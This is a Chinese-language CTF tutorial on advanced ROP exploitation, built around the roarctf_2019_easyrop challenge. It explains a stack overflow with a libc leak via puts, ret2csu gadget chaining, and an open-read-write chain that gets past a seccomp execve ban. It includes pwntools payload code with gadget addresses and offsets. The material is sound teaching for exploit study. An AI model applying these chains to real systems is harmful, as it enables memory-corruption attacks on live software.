[CTF-PWN]ROP (Return-Oriented Programming)——进阶篇
字数 1854 2025-08-09 15:23:02
ROP (Return-Oriented Programming) 进阶教学文档
1. x86-64 架构下的函数传参机制
在x86-64架构中,函数调用时的参数传递遵循以下规则:
- 前六个参数依次存储在寄存器中:
- 第1个参数:RDI
- 第2个参数:RSI
- 第3个参数:RDX
- 第4个参数:RCX
- 第5个参数:R8
- 第6个参数:R9
- 第七个及以后的参数从右至左压入栈中
2. Linux 文件描述符(File Descriptor)
Linux将所有输入输出流视为文件,使用文件描述符(fd)进行管理:
- 标准文件描述符:
- 0 -> stdin (标准输入)
- 1 -> stdout (标准输出)
- 2 -> stderr (标准错误)
- 新打开的文件会分配下一个可用fd,例如打开"flag"文件:
- 0 -> stdin
- 1 -> stdout
- 2 -> stderr
- 3 -> "flag"
3. seccomp 沙箱机制
seccomp是Linux内核提供的应用程序沙箱机制:
- 可以禁用特定的系统调用(syscall)
- CTF中常见禁用execve,阻止攻击者获取shell
- 绕过思路:ORW (Open-Read-Write)技术
- 打开flag文件
- 读取flag内容到内存
- 将内容输出
使用seccomp-tools工具查看程序的沙箱状态:
seccomp-tools dump ./binary
4. ROP利用实例:roarctf_2019_easyrop
4.1 程序分析
检查保护机制:
- 无PIE (地址随机化)
- 无stack canary (栈保护)
seccomp分析:
- 禁用了execve()系统调用
漏洞点:
- 简单的栈溢出漏洞
- 可以向victim[1032]数组无限制写入
4.2 利用思路
- 泄露Libc基地址
- 使用ORW技术获取flag:
- 打开flag文件
- 读取flag内容
- 输出内容
4.3 具体利用步骤
4.3.1 确定溢出偏移
- 溢出victim数组后会覆盖变量v9
- v9是记录输入偏移的变量
- v9与victim[]的偏移为0x418
- 返回地址与victim[]的偏移为0x428
- 需要将v9覆盖为0x428:
padding = "A" * 0x418 + "\x28"
4.3.2 泄露libc基地址
利用GOT表中的puts函数地址泄露libc:
payload = padding + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
target.sendline(payload)
target.recvuntil("given path.\n\x00")
puts_leak = u64(target.recv(6).ljust(8, '\x00'))
libc_base = puts_leak - libc.sym["puts"]
4.3.3 Open-Read-Write (ORW)实现
由于execve被禁用,使用ORW技术:
- 将字符串"flag"写入.bss段
- 调用open("flag", 0)打开文件,获取fd=3
- 调用read(3, buf, size)读取flag内容
- 调用write(2, buf, size)输出flag到stderr
4.4 ret2csu技术
当需要控制多个参数时,可以使用libc_csu_init中的通用gadgets:
4.4.1 ret2csu结构
分为两部分:
- p6r;ret (pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret)
- mov;...;call (mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12+rbx*8])
4.4.2 ret2csu利用方式
ROP构造:
ROP = p6r;ret + p64(0) + p64(1) + 函数指针 + arg1 + arg2 + arg3 + mov;...;call + padding(56 bytes) + 返回地址
注意事项:
- r12传入的是函数指针,不是函数地址
- 需要填充56字节平衡栈空间
4.5 完整利用流程
- 使用read向.bss段写入"flag\x00"
- 将open地址写入.bss段作为函数指针
- 使用ret2csu调用open("flag", 0)
- 将read地址写入.bss段
- 使用ret2csu调用read(3, buf, size)
- 将write地址写入.bss段
- 使用ret2csu调用write(2, buf, size)
4.6 替代方案
泄露出libc基地址后,也可以:
- 使用libc中的gadget控制参数
- 如
pop rdx; ret
- 如
- 写入ORW shellcode
- 调用mprotect使内存可执行
- 跳转到shellcode执行
5. 关键代码片段
5.1 ret2csu函数
def ret2csu(functionPtr, arg1, arg2, arg3):
p6r = 0x401B8A
movecall = 0x401B70
payload = p64(p6r) + p64(0) + p64(1) + p64(functionPtr)
payload += p64(arg1) + p64(arg2) + p64(arg3)
payload += p64(movecall)
payload += "A" * 56 # balance the stack
payload += p64(main) # return to main
return payload
5.2 使用read写入内存
def read2Address(address, content, libc_read):
target.recvuntil(">> ")
padding = "A" * 0x418 + "\x28"
payload = padding
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(address) + p64(0)
payload += p64(libc_read) + p64(main)
target.sendline(payload)
target.sendline(content)
6. 总结
ROP进阶技术要点:
- 掌握x86-64传参规则
- 理解文件描述符概念
- 熟悉seccomp限制及绕过方法
- 精通ret2csu技术控制多参数
- 熟练使用ORW技术绕过execve限制
- 灵活运用内存读写操作构建ROP链
通过系统性地组合这些技术,可以在各种保护机制下实现有效的漏洞利用。